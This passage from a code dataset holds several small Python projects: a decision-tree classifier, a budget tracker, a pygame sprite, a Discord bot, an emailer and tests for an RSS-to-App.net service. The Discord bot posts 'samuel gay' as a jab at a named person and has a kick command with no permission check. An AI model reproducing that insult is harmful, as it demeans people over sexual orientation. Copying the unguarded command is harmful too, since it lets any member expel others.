esNumerico(valor):\n '''Revisar si un valor dado es o no numérico'''\n return isinstance(valor, int) or isinstance(valor, float)\n\nclass Pregunta:\n '''Clase que define la pregunta o el nodo a partir del cuál se particiona la información'''\n def __init__(self, columna, valor):\n self.columna = columna\n self.valor = valor\n\n def match(self, example):\n '''Compara la información dependiendo de si es un valor numérico o de texto '''\n val = example[self.columna]\n if esNumerico(val):\n return val >= self.valor\n else:\n return val == self.valor\n\n def __repr__(self):\n condicion = \"==\"\n if esNumerico(self.valor):\n condicion = \">=\"\n return \"Is %s %s %s?\" % (\n etiquetas[self.columna], condicion, str(self.valor))\n\ndef particion(filas, pregunta):\n '''Función que parte el conjunto en dos dependiendo a si se cumple o no la condición'''\n conjuntoVerdadero, conjuntoFalso = [], []\n for fila in filas:\n if pregunta.match(fila):\n conjuntoVerdadero.append(fila)\n else:\n conjuntoFalso.append(fila)\n return conjuntoVerdadero, conjuntoFalso\n\ndef gini(filas):\n '''Función que calcula la impureza de Gini'''\n counts = cantidadClases(filas)\n impureza = 1\n for lbl in counts:\n prob_of_lbl = counts[lbl] / float(len(filas))\n impureza -= prob_of_lbl**2\n return impureza\n\ndef gananciaInformacion(izquierda, derecha, incertidumbreActual):\n '''Función que calcula la ganancia de información basándose en la impureza de gini'''\n p = float(len(izquierda)) / (len(izquierda) + len(derecha))\n return incertidumbreActual - p * gini(izquierda) - (1 - p) * gini(derecha)\n\ndef encontrarMejorParticion(filas):\n '''Función que encuentra el mejor particioamiento al hallar la mejor pregunta'''\n mejorGanancia = 0 \n mejorPregunta = None \n incertidumbreActual = gini(filas)\n n_features = len(filas[0]) - 1 \n\n for col in range(n_features): \n\n valores = set([fila[col] for fila in filas]) \n\n for val in valores:\n\n pregunta = Pregunta(col, val)\n\n #Intentar particionar el conjunto\n verdadero_filas, falso_filas = particion(filas, pregunta)\n\n #Si alguno de los conjuntos está vacío ya no va a calcular la impote ni la ganancia de información\n if len(verdadero_filas) == 0 or len(falso_filas) == 0:\n continue\n\n gain = gananciaInformacion(verdadero_filas, falso_filas, incertidumbreActual)\n\n if gain >= mejorGanancia:\n mejorGanancia, mejorPregunta = gain, pregunta\n\n return mejorGanancia, mejorPregunta\n\nclass Hoja:\n ''' Clase que almacena los conjuntos finales, hoja o las predicciones '''\n def __init__(self, filas):\n self.predictions = cantidadClases(filas)\n\nclass DecisionNodo:\n ''' Clase que contiene las preguntas/nodo y sus conjuntos verdaderos y falsos '''\n def __init__(self,pregunta,conjuntoVerdadero,conjuntoFalso):\n self.pregunta = pregunta\n self.conjuntoVerdadero = conjuntoVerdadero\n self.conjuntoFalso = conjuntoFalso\n\ndef crearArbol(filas):\n ''' Función que va creando el árbol recursivamente de acuerdo a la información '''\n ganancia, pregunta = encontrarMejorParticion(filas)\n\n if ganancia == 0:\n return Hoja(filas)\n\n conjuntosVerdaderos, conjuntosFalsos = particion(filas, pregunta)\n\n conjuntoVerdadero = crearArbol(conjuntosVerdaderos)\n\n conjuntoFalso = crearArbol(conjuntosFalsos)\n\n return DecisionNodo(pregunta, conjuntoVerdadero, conjuntoFalso)\n\ndef imprimirArbol(nodo, spacing=\"\"):\n '''Función que imprime un árbol a partir de un nodo'''\n if isinstance(nodo, Hoja):\n print (spacing + \"Predict\", nodo.predictions)\n return\n\n print (spacing + str(nodo.pregunta))\n\n print (spacing + '--> verdadero:')\n imprimirArbol(nodo.conjuntoVerdadero, spacing + \" \")\n\n print (spacing + '--> falso:')\n imprimirArbol(nodo.conjuntoFalso, spacing + \" \")\n\nmiArbol = crearArbol(training_data)\n#imprimirArbol(miArbol)\n\ndef clasificar(fila, nodo):\n ''' Función que clasicica los nodos recursivamente y al final retorna las predicciones '''\n if isinstance(nodo, Hoja):\n return nodo.predictions\n\n if nodo.pregunta.match(fila):\n return clasificar(fila, nodo.conjuntoVerdadero)\n else:\n return clasificar(fila, nodo.conjuntoFalso)\n\ndef imprimirHoja(counts):\n ''' Función que imprime el nodo hoja al final'''\n total = sum(counts.values()) * 1.0\n probs = {}\n for lbl in counts.keys():\n probs[lbl] = int(counts[lbl] / total * 100)\n return probs","sub_path":"ArbolClasificacion.py","file_name":"ArbolClasificacion.py","file_ext":"py","file_size_in_byte":6099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"211780966","text":"class Category:\n def __init__(self, category):\n self.name = category\n self.ledger = []\n self.funds = 0\n\n def deposit(self, amount, desc=''):\n self.ledger.append({\"amount\": amount, \"description\": desc})\n self.funds += amount \n\n def withdraw(self, amount, desc=''):\n if self.check_funds(amount):\n self.ledger.append({\"amount\": -amount, \"description\": desc})\n self.funds -= amount\n return True\n return False\n\n def get_balance(self):\n return self.funds\n\n def transfer(self, amount, OtherCategory):\n if self.check_funds(amount):\n self.ledger.append({\"amount\": -amount, \"description\": \"Transfer to {}\".format(OtherCategory.name)})\n self.funds -= amount\n OtherCategory.ledger.append({\"amount\": amount, \"description\": \"Transfer from {}\".format(self.name)})\n OtherCategory.funds += amount\n return True\n return False\n\n def check_funds(self, amount):\n if self.funds >= amount:\n return True\n return False\n\n def __str__(self):\n s = ''\n s += self.name.center(30, '*') + '\\n'\n for item in self.ledger:\n if len(item['description']) > 23:\n s += item['description'][0:23]\n else:\n s += item['description'][0:23].ljust(23)\n s += \"{0:.2f}\".format(item['amount']).rjust(7)\n s += '\\n'\n s += 'Total: {}'.format(self.funds)\n return s\n\ndef create_spend_chart(categories):\n s=\"Percentage spent by category\\n\"\n sum=0\n withdraws={}\n for x in categories:\n withdraws[x.name]=0\n for y in x.ledger:\n if y['amount']<0:\n withdraws[x.name]+=y['amount']\n withdraws[x.name]=-withdraws[x.name]\n for x in withdraws:\n sum+=withdraws[x]\n for x in withdraws:\n withdraws[x]=int(withdraws[x]/sum*100)\n \n for i in range(100,-10,-10):\n s+=str(i).rjust(3)+'| '\n for x in categories:\n if withdraws[x.name]>=i:\n s+='o '\n else:\n s+=' '\n s+='\\n'\n s+=' '*4+'-'*(1+len(categories)*3)+'\\n'\n\n maxlen=0\n for x in categories:\n if len(x.name)>maxlen:\n maxlen=len(x.name)\n for i in range(maxlen):\n s+=' '*5\n for x in categories:\n if len(x.name)>i:\n s+=x.name[i]+' '\n else:\n s+=' '*3\n s+='\\n'\n return s[0:-1]","sub_path":"budget.py","file_name":"budget.py","file_ext":"py","file_size_in_byte":2532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"297817077","text":"\r\n\"\"\"\r\nFor managing the player.\r\n\"\"\"\r\nimport pygame\r\nimport constants\r\nfrom spritesheet_functions import SpriteSheet\r\n\r\n \r\nclass Player(pygame.sprite.Sprite):\r\n\r\n # -- Methods\r\n def __init__(self):\r\n \r\n # Call the parent's constructor\r\n super(Player, self).__init__()\r\n\r\n # -- Attributes\r\n # Set speed of flapping of the player\r\n self.change_y = 3\r\n self.rising_rate = -8\r\n self.falling_rate = 4\r\n\r\n # change of level\r\n self.level = None\r\n # collision indicator\r\n self.collided = False\r\n\r\n# ########handle the images #####\r\n # falcon flapping player sheet\r\n sprite_sheet = SpriteSheet(\"arts/graphics/falcon_spritesheet.png\")\r\n # Hold images for the animated wings\r\n self.flying_frames = []\r\n\r\n # Load images for the bird\r\n falcon_up = sprite_sheet.get_image(5, 24, 122, 100)\r\n falcon_down = sprite_sheet.get_image(136, 92, 88, 68)\r\n # resize them\r\n falcon_up = pygame.transform.scale(falcon_up, (86, 70))\r\n falcon_down = pygame.transform.scale(falcon_down, (91, 70))\r\n # add them to the frames list\r\n self.flying_frames.append(falcon_up)\r\n self.flying_frames.append(falcon_down)\r\n \r\n # Set the image the player starts with\r\n self.image = self.flying_frames[0]\r\n \r\n # Set a reference to the image rect.\r\n self.rect = self.image.get_rect()\r\n self.mask = pygame.mask.from_surface(self.image)\r\n\r\n def update(self):\r\n # Move down\r\n self.rect.y += self.change_y\r\n\r\n # check if the bird touches the screen boundaries\r\n if self.rect.y < 0 or self.rect.y + self.rect.height > constants.SCREEN_HEIGHT:\r\n self.collided = True\r\n self.rect.y = self.rect.y # freeze\r\n\r\n # check if there is collision with any obstacle\r\n for obs in self.level.get_obstacles():\r\n if pygame.sprite.collide_mask(self, obs) is not None:\r\n self.collided = True\r\n self.rect.y = self.rect.y # freeze\r\n\r\n # when the up / spacebar is pressed, move player up and flap\r\n def flap(self): \r\n self.change_y = self.rising_rate\r\n self.image = self.flying_frames[1]\r\n\r\n # when the up / spacebar is not pressed, move player down and release\r\n def release_wing(self):\r\n self.change_y = self.falling_rate\r\n self.image = self.flying_frames[0]\r\n","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"566513576","text":"# bot.py\r\nimport os\r\nimport random\r\nimport discord\r\nfrom dotenv import load_dotenv\r\nfrom discord.ext import commands\r\n\r\nload_dotenv()\r\nTOKEN = os.getenv('DISCORD_TOKEN')\r\nGUILD = os.getenv('GUILD_NAME')\r\n\r\nclient = commands.Bot(command_prefix = '.')\r\n\r\n@client.event\r\nasync def on_ready():\r\n guild = discord.utils.get(client.guilds, name=GUILD)\r\n print(f'{client.user} has connected to Discord!')\r\n print(f'{client.user} is connected to: 'f'{guild.name}\\n')\r\n print('(ID: 'f'{guild.id})')\r\n # members = '\\n-'.join(member.name for member in guild.members)\r\n # count = guild.member_count\r\n # print('Member List:\\n -' f'{members}' '\\nA total of: ' f'{count}' '.')\r\n\r\n@client.event\r\nasync def on_member_update(before, after):\r\n channel = client.get_channel(719574895805071450)\r\n reaction = f'{after.name}'' just turned 'f'{after.status}''.'\r\n await client.wait_until_ready()\r\n if before.status != after.status:\r\n await channel.send(reaction) \r\n \r\n@client.command()\r\nasync def ping(ctx):\r\n await ctx.send('PING PONG PENG PONG {0}'.format(round(client.latency, 3)))\r\n \r\n@client.command()\r\nasync def monkey(ctx):\r\n await ctx.send(\"samuel gay\")\r\n channel = ctx.author.voice.channel\r\n vc = await channel.connect()\r\n vc.play(discord.FFmpegPCMAudio(\"E:/bot/me/monkey.mp3\"))\r\n await ctx.voice_client.disconnect()\r\n \r\n@client.command()\r\nasync def join(ctx):\r\n channel = ctx.author.voice.channel\r\n await channel.connect()\r\n \r\n@client.command()\r\nasync def leave(ctx):\r\n await ctx.voice_client.disconnect()\r\n \r\n@client.command()\r\nasync def kick(ctx, member : discord.Member, *, reason=None):\r\n await member.kick(reason=reason)\r\n \r\n@client.event\r\nasync def on_message(message):\r\n if message.author != client.user:\r\n if 'pog' in message.content.lower():\r\n await message.channel.send(file=discord.File('E:/bot/me/pog.png'))\r\n if 'fisika' in message.content.lower():\r\n await message.channel.send(file=discord.File('E:/bot/me/geraldi.png'))\r\n if 'plis' in message.content.lower():\r\n await message.channel.send(file=discord.File('E:/bot/me/doa.png'))\r\n if 'hai' in message.content.lower():\r\n await message.channel.send(file=discord.File('E:/bot/me/hai.jpg'))\r\n if 'ga sengaja' in message.content.lower():\r\n await message.channel.send(file=discord.File('E:/bot/me/gs.jpg'))\r\n if message.content == 'raise-exception':\r\n raise discord.DiscordException\r\n choice = ['yes', 'no']\r\n choose = random.choice(choice)\r\n if message.author != client.user:\r\n if message.content.lower().startswith('should'):\r\n await message.channel.send(choose)\r\n await client.process_commands(message)\r\n \r\n \r\n\r\nclient.run(TOKEN)","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":2812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"136532167","text":"import smtplib\nimport ConfigParser\nimport weather\n\ndef get_emails():\n emails = {}\n \n try:\n email_file = open('email_dictionary.txt', 'r')\n \n for line in email_file:\n (email, name) = line.split(',')\n emails[email] = name.strip()\n except OSError as err:\n print(err)\n \n return emails\n \n \ndef send_emails(emails, schedule, forecast):\n # Connect to SMTP server\n server = smtplib.SMTP('smtp.gmail.com', '587')\n # Start TLS encryption\n server.starttls();\n # Login\n config = ConfigParser.RawConfigParser()\n config.read('email.properties')\n from_email_password = config.get('EmailLoginSection', 'from_email.password')\n from_email_address = config.get('EmailLoginSection', 'from_email.address')\n server.login(from_email_address, from_email_password)\n \n # Send the email\n for to_email, name in emails.items():\n message = 'Subject: Current Weather \\n'\n message += 'Hi ' + name + ',\\n\\n'\n message += forecast + '\\n\\n'\n \n server.sendmail(from_email_address, to_email, message)\n \n server.quit()\n\n\ndef get_schedule():\n try:\n schedule_file = open('schedule.txt', 'r')\n \n schedule = schedule_file.read()\n except OSError as err:\n print(err)\n \n return schedule\n\n\ndef main():\n emails = get_emails()\n #print(emails)\n \n schedule = get_schedule()\n #print(schedule)\n \n #cities = get_cities()\n #print(cities)\n \n forecast = weather.get_weather_forcast()\n print(forecast)\n \n send_emails(emails, schedule, forecast)\n\nmain()","sub_path":"emailer.py","file_name":"emailer.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"57223155","text":"#!/usr/bin/env python\n# encoding: utf-8\nimport os\nimport sys\nimport unittest\nimport json\nfrom datetime import timedelta\n\nimport inspect, os\n\nfrom google.appengine.ext import testbed\nfrom google.appengine.api import memcache\n\nsys.path.insert(1, os.path.join(os.path.abspath('./buster/'), 'lib'))\nsys.path.insert(1, os.path.join(os.path.abspath('./buster')))\n\nimport feedparser\n\nRSS_MOCKS = {}\ntrue_parse = feedparser.parse\n\n\ndef fake_parse(url, *args, **kwargs):\n content = RSS_MOCKS.get(url, url)\n parsed_feed = true_parse(content, *args, **kwargs)\n if content != url:\n parsed_feed.status = 200\n parsed_feed.etag = ''\n\n return parsed_feed\n\nfeedparser.parse = fake_parse\n\nfrom agar.test import MockUrlfetchTest\n# from rss_to_adn import Feed\nfrom application import app\nfrom application.models import Entry, User, Feed, OVERFLOW_REASON\nfrom application import settings\n\nRSS_ITEM = \"\"\"\n - \n
\n %(unique_key)s\n \n \n %(description)s\n \n Wed, 19 Jun 2013 17:59:53 -0000 \n http://example.com/buster/%(unique_key)s \n http://example.com/buster/%(unique_key)s\n %(tags)s\n %(author)s\n \n\"\"\"\n\nXML_TEMPLATE = \"\"\"\n\n\n \n %(hub)s\n Busters RSS feed \n http://example.com/buster\n \n Hi, my name is Buster.\n \n %(language)s\n \n %(items)s\n \n \n\"\"\"\n\nHTML_PAGE_TEMPLATE = \"\"\"\n\n\n\n \n \n\n\n\n\n\"\"\"\n\nYOUTUBE_OEMBED_RESPONSE = json.dumps({u'provider_url': u'http://www.youtube.com/', u'title': u'Auto-Tune the News #8: dragons. geese. Michael Vick. (ft. T-Pain)', u'html': u'VIDEO ', u'author_name': u'schmoyoho', u'height': 344, u'thumbnail_width': 480, u'width': 459, u'version': u'1.0', u'author_url': u'http://www.youtube.com/user/schmoyoho', u'thumbnail_height': 360, u'thumbnail_url': u'http://i1.ytimg.com/vi/bDOYN-6gdRE/hqdefault.jpg', u'type': u'video', u'provider_name': u'YouTube'})\nVIMEO_OEMBED_RESPONSE = json.dumps({u'is_plus': u'0', u'provider_url': u'https://vimeo.com/', u'description': u'Brad finally gets the attention he deserves.', u'title': u'Brad!', u'video_id': 7100569, u'html': u'', u'author_name': u'Casey Donahue', u'height': 720, u'thumbnail_width': 1280, u'width': 1280, u'version': u'1.0', u'author_url': u'http://vimeo.com/caseydonahue', u'duration': 118, u'provider_name': u'Vimeo', u'thumbnail_url': u'http://b.vimeocdn.com/ts/294/128/29412830_1280.jpg', u'type': u'video', u'thumbnail_height': 720})\nBIT_LY_RESPONSE = \"\"\"{ \"status_code\": 200, \"status_txt\": \"OK\", \"data\": { \"long_url\": \"http:\\/\\/daringfireball.net\\/2013\\/05\\/facebook_home_dogfooding?utm_medium=App.net&utm_source=PourOver\", \"url\": \"http:\\/\\/bit.ly\\/123\", \"hash\": \"1c3ehlA\", \"global_hash\": \"1c3ehlB\", \"new_hash\": 0 } }\"\"\"\n\ndef get_file_from_data(fname):\n return open(os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) + fname).read()\n\n\nFAKE_POST_OBJ_RESP = get_file_from_data('/data/post_resp.json')\n\nFAKE_ACCESS_TOKEN = 'theres_always_posts_in_the_banana_stand'\n\n\nclass BusterTestCase(MockUrlfetchTest):\n def setUp(self):\n super(BusterTestCase, self).setUp()\n # Flask apps testing. See: http://flask.pocoo.org/docs/testing/\n app.config['TESTING'] = True\n app.config['CSRF_ENABLED'] = False\n self.app = app.test_client()\n\n self.set_response(\"https://alpha-api.app.net/stream/0/posts\", content=FAKE_POST_OBJ_RESP, status_code=200, method=\"POST\")\n self.clear_datastore()\n\n def tearDown(self):\n self.testbed.deactivate()\n\n def buildRSS(self, unique_key, use_hub=False, items=1, use_lang=None, tags=None, author=None, description=None):\n hub = ''\n if use_hub:\n hub = ' '\n\n language = ''\n if use_lang:\n language = '%s ' % use_lang\n\n if tags:\n tags = '\\n'.join([\" \" % tag for tag in tags])\n else:\n tags = ''\n\n if author:\n author = '%s ' % author\n else:\n author = ''\n\n description = description or unique_key\n items = [RSS_ITEM % {'unique_key': '%s_%s' % (unique_key, x), 'tags': tags, 'author': author, 'description': description} for x in xrange(0, items)]\n\n return XML_TEMPLATE % ({'hub': hub, 'items': ''.join(items), 'language': language})\n\n def set_rss_response(self, url, content='', status_code=200, headers=None):\n self.set_response(url, content=content, status_code=status_code, headers=headers)\n\n def buildMockUserResponse(self, username='voidfiles', id=3):\n return {\n 'data': {\n 'user': {\n 'id': unicode(id),\n 'username': username,\n },\n 'app': {\n 'client_id': settings.CLIENT_ID,\n }\n }\n }\n\n def authHeaders(self, access_token=FAKE_ACCESS_TOKEN):\n return {\n 'Authorization': 'Bearer %s' % access_token\n }\n\n def setMockUser(self, access_token=FAKE_ACCESS_TOKEN, username='voidfiles', id=3):\n user_data = self.buildMockUserResponse(username=username, id=id)\n memcache.set('user:%s' % access_token, json.dumps(user_data), 60 * 60)\n user = User(access_token=access_token)\n user.put()\n\n def testAuth(self):\n resp = self.app.get('/api/feeds/1')\n assert resp.status_code == 401\n mock_user_response = json.dumps(self.buildMockUserResponse())\n\n self.set_response(\"https://alpha-api.app.net/stream/0/token\", content=mock_user_response, status_code=200)\n resp = self.app.get('/api/feeds', headers=self.authHeaders())\n\n assert resp.status_code == 200\n assert User.query().count() == 1\n\n resp = self.app.get('/api/feeds', headers=self.authHeaders())\n\n assert User.query().count() == 1\n\n def testFeed(self):\n self.setMockUser()\n resp = self.app.get('/api/feeds', headers=self.authHeaders())\n json_resp = json.loads(resp.data)\n assert len(json_resp['data']) == 0\n\n self.set_rss_response(\"http://example.com/rss\", content=self.buildRSS('test', items=10), status_code=200)\n test_feed_url = 'http://example.com/rss'\n\n # Should fail validation\n resp = self.app.post('/api/feeds', data=dict(\n feed_url=test_feed_url,\n max_stories_per_period=0,\n schedule_period=5,\n ), headers=self.authHeaders())\n assert 0 == Feed.query().count()\n\n resp = self.app.post('/api/feeds', data=dict(\n feed_url=test_feed_url,\n include_summary='true',\n max_stories_per_period=1,\n schedule_period=5,\n ), headers=self.authHeaders())\n json_resp = json.loads(resp.data)\n assert json_resp['data']['feed_url'] == test_feed_url\n assert 10 == Entry.query(Entry.published == True, Entry.overflow == True).count()\n\n feed_id = json_resp['data']['feed_id']\n resp = self.app.get('/api/feeds/%s' % feed_id, headers=self.authHeaders())\n json_resp = json.loads(resp.data)\n assert len(json_resp['data']['entries']) == 10\n assert json_resp['data']['entries'][0]['guid'] == \"http://example.com/buster/test_0\"\n\n # Shouldn't be able to create two feeds for the same user\n resp = self.app.post('/api/feeds', data=dict(\n feed_url=test_feed_url,\n include_summary='true',\n max_stories_per_period=1,\n schedule_period=5,\n ), headers=self.authHeaders())\n json_resp = json.loads(resp.data)\n assert 1 == Feed.query().count()\n\n resp = self.app.get('/api/feeds', headers=self.authHeaders())\n json_resp = json.loads(resp.data)\n assert len(json_resp['data']) == 1\n\n self.set_rss_response(\"http://example.com/rss\", content=self.buildRSS('test2'), status_code=200)\n feed = Feed.query().get()\n Entry.update_for_feed(feed)\n assert 11 == Entry.query().count()\n\n def testPoller(self):\n self.setMockUser()\n another_fake_access_token = 'another_banana_stand'\n self.setMockUser(access_token=another_fake_access_token, username='george', id=2)\n test_feed_url = 'http://example.com/rss'\n self.set_rss_response(test_feed_url, content=self.buildRSS('test'), status_code=200)\n resp = self.app.post('/api/feeds', data=dict(\n feed_url=test_feed_url,\n ), headers=self.authHeaders())\n\n test_feed_url = 'http://example.com/rss2'\n self.set_rss_response(test_feed_url, content=self.buildRSS('test'), status_code=200)\n\n resp = self.app.post('/api/feeds', data=dict(\n feed_url=test_feed_url,\n ), headers={'Authorization': 'Bearer %s' % (another_fake_access_token, )})\n\n assert 2 == Entry.query().count()\n\n test_feed_url = 'http://example.com/rss2'\n self.set_rss_response(test_feed_url, content=self.buildRSS('test2'), status_code=200)\n\n resp = self.app.get('/api/feeds/all/update/2', headers={'X-Appengine-Cron': 'true'})\n\n assert 2 == Entry.query().count()\n\n resp = self.app.get('/api/feeds/all/update/1', headers={'X-Appengine-Cron': 'true'})\n\n assert 3 == Entry.query().count()\n\n def testPush(self):\n self.setMockUser()\n self.set_response('http://pubsubhubbub.appspot.com', content='', status_code=200, method=\"POST\")\n test_feed_url = 'http://example.com/rss'\n self.set_rss_response(test_feed_url, content=self.buildRSS('test', use_hub=True), status_code=200)\n resp = self.app.post('/api/feeds', data=dict(\n feed_url=test_feed_url,\n include_summary=True,\n max_stories_per_period=1,\n schedule_period=5,\n ), headers=self.authHeaders())\n\n feed = Feed.query().get()\n\n resp = self.app.get('/api/feeds/%s/subscribe' % (feed.key.urlsafe(), ), query_string={\n \"hub.mode\": 'subscribe',\n \"hub.topic\": feed.feed_url,\n \"hub.challenge\": 'testing',\n \"hub.verify_token\": feed.verify_token,\n })\n\n assert resp.data == 'testing'\n\n self.set_rss_response(test_feed_url, content=self.buildRSS('test2', use_hub=True), status_code=200)\n resp = self.app.post('/api/feeds/%s/subscribe' % (feed.key.urlsafe(), ))\n\n assert 2 == Entry.query().count()\n\n assert 1 == Entry.query(Entry.published == True, Entry.overflow == False).count()\n\n resp = self.app.post('/api/feeds/%s/subscribe' % (feed.key.urlsafe(), ))\n\n assert 2 == Entry.query(Entry.published == True).count()\n\n def testSchedule(self):\n self.setMockUser()\n test_feed_url = 'http://example.com/rss'\n self.set_rss_response(test_feed_url, content=self.buildRSS('test1'), status_code=200)\n resp = self.app.post('/api/feeds', data=dict(\n feed_url=test_feed_url,\n include_summary=True,\n max_stories_per_period=1,\n schedule_period=5,\n ), headers=self.authHeaders())\n\n assert 0 == Entry.query(Entry.published == True, Entry.overflow == False).count()\n\n self.set_rss_response(test_feed_url, content=self.buildRSS('test2',), status_code=200)\n resp = self.app.get('/api/feeds/all/update/1', headers={'X-Appengine-Cron': 'true'})\n assert 1 == Entry.query(Entry.published == True, Entry.overflow == False).count()\n\n self.set_rss_response(test_feed_url, content=self.buildRSS('test3'), status_code=200)\n resp = self.app.get('/api/feeds/all/update/1', headers={'X-Appengine-Cron': 'true'})\n\n # Should have been rate limited\n assert 1 == Entry.query(Entry.published == True, Entry.overflow == False).count()\n\n # Set the entry back in time\n first_entry = Entry.query(Entry.published == True, Entry.overflow == False).get()\n first_entry.published_at = first_entry.published_at - timedelta(minutes=10)\n first_entry.put()\n\n self.set_rss_response(test_feed_url, content=self.buildRSS('test4'), status_code=200)\n resp = self.app.get('/api/feeds/all/update/1', headers={'X-Appengine-Cron': 'true'})\n\n # Should not have been rate limited\n assert 2 == Entry.query(Entry.published == True, Entry.overflow == False).count()\n\n def testMulitpleSchedule(self):\n self.setMockUser()\n test_feed_url = 'http://example.com/rss'\n self.set_rss_response(test_feed_url, content=self.buildRSS('test'), status_code=200)\n resp = self.app.post('/api/feeds', data=dict(\n feed_url=test_feed_url,\n include_summary=True,\n max_stories_per_period=2,\n schedule_period=5,\n ), headers=self.authHeaders())\n\n assert 1 == Entry.query(Entry.published == True, Entry.overflow == True).count()\n\n resp = self.app.get('/api/feeds/all/update/1', headers={'X-Appengine-Cron': 'true'})\n self.set_rss_response(test_feed_url, content=self.buildRSS('test2'), status_code=200)\n\n resp = self.app.get('/api/feeds/all/update/1', headers={'X-Appengine-Cron': 'true'})\n # Should not have been rate limited\n assert 1 == Entry.query(Entry.published == True, Entry.overflow == False).count()\n\n self.set_rss_response(test_feed_url, content=self.buildRSS('test3'), status_code=200)\n resp = self.app.get('/api/feeds/all/update/1', headers={'X-Appengine-Cron': 'true'})\n # Should not have been rate limited\n assert 2 == Entry.query(Entry.published == True, Entry.overflow == False).count()\n\n self.set_rss_response(test_feed_url, content=self.buildRSS('test4'), status_code=200)\n resp = self.app.get('/api/feeds/all/update/1', headers={'X-Appengine-Cron': 'true'})\n # Should have been rate limited\n assert 2 == Entry.query(Entry.published == True, Entry.overflow == False).count()\n\n # We should have burned off the latest entry\n burned_entries = Entry.query(Entry.published == True, Entry.overflow == True).fetch(2)\n assert 1 == len(burned_entries)\n # So, the first entry was burned because it was already in the feed\n assert burned_entries[0].overflow_reason == OVERFLOW_REASON.BACKLOG\n\n def testRssFeedDetection(self):\n self.set_rss_response('http://techcrunch.com/feed/', content=self.buildRSS('test'), status_code=200)\n self.set_response('http://techcrunch.com', content=HTML_PAGE_TEMPLATE, status_code=200, headers={'Content-Type': 'text/html'})\n resp = self.app.get('/api/feed/preview?feed_url=http://techcrunch.com', headers=self.authHeaders())\n assert 1 == len(json.loads(resp.data)['data'])\n\n resp = self.app.post('/api/feeds', data=dict(\n feed_url='http://techcrunch.com',\n max_stories_per_period=1,\n schedule_period=5,\n ), headers=self.authHeaders())\n\n feed = Feed.query().get()\n assert feed.feed_url == 'http://techcrunch.com/feed/'\n\n def testFeedPreview(self):\n self.set_rss_response('http://techcrunch.com/feed/', content=self.buildRSS('test'), status_code=200)\n resp = self.app.get('/api/feed/preview?feed_url=http://techcrunch.com/feed/', headers=self.authHeaders())\n assert 1 == len(json.loads(resp.data)['data'])\n self.set_rss_response('http://techcrunch.com/feed/2', content=self.buildRSS('test'), status_code=500)\n resp = self.app.get('/api/feed/preview?feed_url=http://techcrunch.com/feed/2', headers=self.authHeaders())\n assert json.loads(resp.data)['message']\n\n test_feed_url = 'http://example.com/rss'\n self.set_rss_response(test_feed_url, content=self.buildRSS('test'), status_code=200)\n resp = self.app.post('/api/feeds', data=dict(\n feed_url=test_feed_url,\n include_summary=True,\n max_stories_per_period=2,\n schedule_period=5,\n ), headers=self.authHeaders())\n\n assert 1 == Entry.query(Entry.published == True, Entry.overflow == True).count()\n feed = Feed.query().get()\n resp = self.app.get('/api/feeds/%s/preview' % (feed.key.id(), ), headers=self.authHeaders())\n assert 'data' in json.loads(resp.data)\n\n def testLinkedListMode(self):\n data = get_file_from_data('/data/df_feed.xml')\n self.set_rss_response('http://daringfireball.net/index.xml', content=data)\n resp = self.app.get('/api/feed/preview?feed_url=http://daringfireball.net/index.xml', headers=self.authHeaders())\n data = json.loads(resp.data)\n assert data['data'][0]['html'] == \"PourOver for App.net \"\n\n resp = self.app.get('/api/feed/preview?linked_list_mode=true&feed_url=http://daringfireball.net/index.xml', headers=self.authHeaders())\n data = json.loads(resp.data)\n assert data['data'][0]['html'] == \"PourOver for App.net \"\n\n def testSingleItemPublish(self):\n self.setMockUser()\n test_feed_url = 'http://example.com/rss'\n self.set_rss_response(test_feed_url, content=self.buildRSS('test'), status_code=200)\n resp = self.app.post('/api/feeds', data=dict(\n feed_url=test_feed_url,\n include_summary=True,\n max_stories_per_period=2,\n schedule_period=5,\n ), headers=self.authHeaders())\n\n entry = Entry.query().get()\n feed = Feed.query().get()\n resp = self.app.post('/api/feeds/%s/entries/%s/publish' % (feed.key.id(), entry.key.id()), headers=self.authHeaders())\n\n def testLargeOverflow(self):\n self.setMockUser()\n test_feed_url = 'http://example.com/rss'\n self.set_rss_response(test_feed_url, content=self.buildRSS('test', items=6), status_code=200)\n resp = self.app.post('/api/feeds', data=dict(\n feed_url=test_feed_url,\n include_summary=True,\n max_stories_per_period=2,\n schedule_period=5,\n ), headers=self.authHeaders())\n\n assert 0 == Entry.query(Entry.published == True, Entry.overflow == False).count()\n self.set_rss_response(test_feed_url, content=self.buildRSS('test2', items=6), status_code=200)\n resp = self.app.get('/api/feeds/all/update/1', headers={'X-Appengine-Cron': 'true'})\n assert 2 == Entry.query(Entry.published == True, Entry.overflow == False).count()\n assert 10 == Entry.query(Entry.published == True, Entry.overflow == True).count()\n\n\n def testFeedRedirect(self):\n self.setMockUser()\n test_feed_url = 'http://example.com/rss'\n self.set_rss_response(test_feed_url, content=self.buildRSS('test', items=6), status_code=200)\n resp = self.app.post('/api/feeds', data=dict(\n feed_url=test_feed_url,\n include_summary=True,\n max_stories_per_period=2,\n schedule_period=5,\n ), headers=self.authHeaders())\n\n feed = Feed.query().get()\n assert feed.feed_url == test_feed_url\n\n test_feed_url2 = 'http://example.com/rss2'\n self.set_rss_response(test_feed_url, content='', status_code=302, headers={'Location': test_feed_url2})\n self.set_rss_response(test_feed_url2, content=self.buildRSS('test', items=6), status_code=200)\n resp = self.app.get('/api/feeds/all/update/1', headers={'X-Appengine-Cron': 'true'})\n\n feed = Feed.query().get()\n assert feed.feed_url == test_feed_url\n\n self.set_rss_response(test_feed_url, content='', status_code=301, headers={'Location': test_feed_url2})\n resp = self.app.get('/api/feeds/all/update/1', headers={'X-Appengine-Cron': 'true'})\n\n feed = Feed.query().get()\n assert feed.feed_url == test_feed_url2\n\n def testLanguage(self):\n self.setMockUser()\n test_feed_url = 'http://example.com/rss'\n self.set_rss_response(test_feed_url, content=self.buildRSS('test', 